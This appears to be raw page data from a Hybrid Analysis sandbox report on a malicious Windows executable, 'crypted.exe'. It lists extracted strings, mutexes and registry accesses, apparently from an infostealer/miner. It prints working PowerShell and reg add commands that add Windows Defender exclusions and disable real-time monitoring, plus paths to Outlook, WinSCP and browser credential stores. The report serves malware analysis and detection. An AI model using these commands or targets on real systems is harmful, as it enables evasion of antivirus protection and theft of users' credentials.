24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 85:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample d4d1f46ee0dc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d4d1f46ee0dc…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 1/27 AV engines flagged this file. 18 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3"],"about":{"@type":"SoftwareApplication","name":"crypted.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":1,"total":27},"behavioralIndicators":{"malicious":18,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Tc5a,Found reference string ""powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%APPDATA%\Microsoft\Securit" (Indicator: "add-mppreference"; Source: "00000000-00005400-00000C47-4576990752"), Found reference string ""powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'"" (Indicator: "add-mppreference"; Source: "00000000-00005400-00000C47-4649789344"), Found reference string "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth' -ExclusionProcess 'svchost.exe'" (Indicator: "add-mppreference"; File: "AMSI"), Found reference string "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'" (Indicator: "add-mppreference"; File: "AMSI"), Found reference string "-WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%APPDATA%\Microsoft\SecurityHealth' -ExclusionProcess 'svchost.exe'"" (Indicator: "add-mppreference"; File: "powershell.exe"), Found reference string "-WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'"" (Indicator: "add-mppreference"; File: "powershell.exe"), Found reference string ""powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'"" (Indicator: "add-mppreference"; Source: "00000000-00004348.00000000.145279.77AB0000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00004348.00000000.145279.77AB0000.00000004.mdmp, 00000000-00004348.00000000.145279.77DF0000.00000004.mdmp, 00000000-00004348.00000000.145279.79780000.00000004.mdmp"), Found reference string "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Secur" (Indicator: "add-mppreference"; Source: "00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionPath" (Indicator: "add-mppreference"; Source: "00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth' -ExclusionProcess 'svchost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'" (Indicator: "add-mppreference"; Source: "00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionPath '" (Indicator: "add-mppreference"; Source: "00000000-00005400.00000001.145328.0A060000.00000004.mdmp"), Found reference string "powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'"" (Indicator: "add-mppreference"; Source: "00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp")26:T49d,"" (Indicator: "SHA512"; Source: "00000000-00005400.00000001.145328.DF40F000.00000002.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00005524.00000001.143109.4DB74000.00000004.mdmp, 00000000-00005524.00000001.143109.50430000.00000004.mdmp")2c:Tdf0,"b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{E25B5812-BE88-4BD9-94B0-29233477B6C3}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{98EC0E18-2098-4D44-8644-66979315A281}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{18989B1D-99B5-455B-841C-AB7C74E4DDFC}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{18989B1D-99B5-455B-841C-AB7C74E4DDFC}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TERMINAL SERVER") "b71e6b3b093b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TERMINAL SERVER") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST\S-1-5-21-735145574-3570218355-1207367261-1001\FDEPLOY") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{DE974D24-D9C6-4D3E-BF91-F4455120B917}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{24D89E24-2F19-4534-9DDE-6A6671FBB8FE}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{31C0DD25-9439-4F12-BF41-7FF4EDA38722}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ALLOWEDENUMERATION") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ALLOWEDENUMERATION") "b71e6b3b093b.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{6F0CD92B-2E97-45D1-88FF-B0D186B8DEDD}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{76FC4E2D-D6AD-4519-A663-37BD56068185}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{491E922F-5643-4AF4-A7EB-4E7A138D8174}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{33E28130-4E1E-4676-835A-98395C3BC3BB}\PROPERTYBAG") "b71e6b3b093b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{33E28130-4E1E-4676-835A-98395C3BC3BB}\PROPERTYBAG")2d:Ta5c,"/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\panicking.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\str\pattern.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\vec\mod.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\std\src\env.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\panic_unwind\src\seh.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\ops\function.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "capacity overflow/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\alloc\src\raw_vec\mod.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin") Found reference string "/rustc/e408947bfd200af42db322daf0fadfe7e26d3bd1/library\core\src\fmt\mod.rs" (Indicator: "/rustc/"; File: "d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin")4b:T2b2d,"[Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001]clsid : %GUID:"Outlook 10 MAPI Account"%Mini UID : 4168488832Service UID : Service Name : O" in Source: 00000000-00005524-00000CB1-1226398289 ""cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\Se" in Source: 00000000-00005400-00000C47-4747842438 ""cmd" /c "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\Se" in Source: 00000000-00005400-00000C47-22154190898 ""cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"svchost.exe\" /t REG_DWORD /d 0 /f"" in Source: 00000000-00005400-00000C47-36733435854 ""cmd" /c "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t R" in Source: 00000000-00005400-00000C47-51058417236, "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\SecurityHea" in Source: 00000000-00004320-00000C47-3452100318 "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\SecurityHea" in Source: 00000000-00001012-00000C47-1794030142, "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\" /v \"svchost.exe\" /t REG_DWORD /d 0 /f" in Source: 00000000-00000724-00000C47-1736067170, "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD" in Source: 00000000-00006520-00000C47-2768912806, ""cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f"" in Source: cmd.exe, "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f" in Source: reg.exe, ""cmd" /c "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f"" in Source: cmd.exe, "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%APPDATA%\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f" in Source: reg.exe, ""cmd" /c "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d 1 /f"" in Source: cmd.exe, "reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d 1 /f" in Source: reg.exe, "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00000600.00000000.143678.0251F000.00000002.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00000600.00000000.143678.0251F000.00000002.mdmp, "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f" in Source: 00000000-00000600.00000000.143678.D92A0000.00000004.mdmp, ""HKLM\SOFTWARE\Microsoft\Windows" in Source: 00000000-00000600.00000000.143678.D92A0000.00000004.mdmp 00000000-00000600.00000000.143678.D9660000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004068.00000000.141971.CB990000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00004068.00000000.141971.CB990000.00000004.mdmp "Software\Aerofox\FoxmailPreview" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\%s\%08d" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00004068.00000000.141971.CD9F0000.00000004.mdmp "reg add \"HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f" in Source: 00000000-00004356.00000000.144083.3A500000.00000004.mdmp ""HKCU\SOFTWARE\Microsoft\Windows" in Source: 00000000-00004356.00000000.144083.3A500000.00000004.mdmp, 00000000-00004356.00000000.144083.3A870000.00000004.mdmp, "cmd" /c "reg add \"HKLM\SOFTWAR" in Source: 00000000-00005400.00000000.143408.0A060000.00000004.mdmp 00000000-00005400.00000001.145328.0A060000.00000004.mdmp "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth" /t REG_DWORD /d 0 /f" in Source: 00000000-00005400.00000000.143408.0A060000.00000004.mdmp 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp ""reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\SecurityHealth\" /t REG_DWORD /d 0 /f"" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp, 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp, "cmd" /c "reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exc" in Source: 00000000-00005400.00000000.143408.0A0AE000.00000004.mdmp 00000000-00005400.00000001.145328.0A0AE000.00000004.mdmp "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "e" in Source: 00000000-00005400.00000001.145328.0A060000.00000004.mdmp, "HighestAvailabledev_tg_bot_tokenSOFTWARE\Microsoft\Windows\CurrentVersion\Runminer-core\src\persistence.rs" in Source: 00000000-00005400.00000001.145328.DF40F000.00000002.mdmp, "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "Software\Valve\Steam" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "\BraveSoftware\Brave-Browser\User Data\Default\" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "\Opera Software\Opera Stable" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "\Opera Software\Opera GX Stable" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00005524.00000000.142044.4DAB0000.00000004.mdmp, 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "Software\Aerofox\FoxmailPreview" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Microsoft\Windows Messaging Subsystem\Profiles\%s\%08d" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00005524.00000000.142044.832A4000.00000002.mdmp, "PUBWS\AppData\Roaming\Opera Software\Opera GX Stable\*.*" in Source: 00000000-00005524.00000001.143109.4DAB0000.00000004.mdmp, "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005524.00000001.143109.4DB74000.00000004.mdmp, "Registry\Machine\Software\Classes\Applications\rQxv6kD32KDt.exe" in Source: 00000000-00005524.00000001.143109.4DB74000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp, "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00005524.00000001.143109.50430000.00000004.mdmp4c:T930,Process b71e6b3b093b.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5524:304:WilStaging_02" Process b71e6b3b093b.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5524:304:WilStaging_02" Process b71e6b3b093b.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5524:120:WilError_01" Process b71e6b3b093b.exe created mutex with name "Local\SM0:5524:304:WilStaging_02" Process b71e6b3b093b.exe created mutex with name "SM0:5524:120:WilError_01" Process b71e6b3b093b.exe created mutex with name "Local\ZonesCacheCounterMutex" Process b71e6b3b093b.exe created mutex with name "Local\SM0:5524:120:WilError_01" Process b71e6b3b093b.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process b71e6b3b093b.exe created mutex with name "SM0:5524:304:WilStaging_02" Process b71e6b3b093b.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process b71e6b3b093b.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process b71e6b3b093b.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process b71e6b3b093b.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5524:120:WilError_01" Process rQxv6kD32KDt.exe created mutex with name "\BaseNamedObjects\WinSecHealthMtx_7f3a" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6220:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6220:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6220:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6220:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6220:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6220:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6860:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6860:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:6860:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:6860:120:WilError_01"4d:T1183,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module 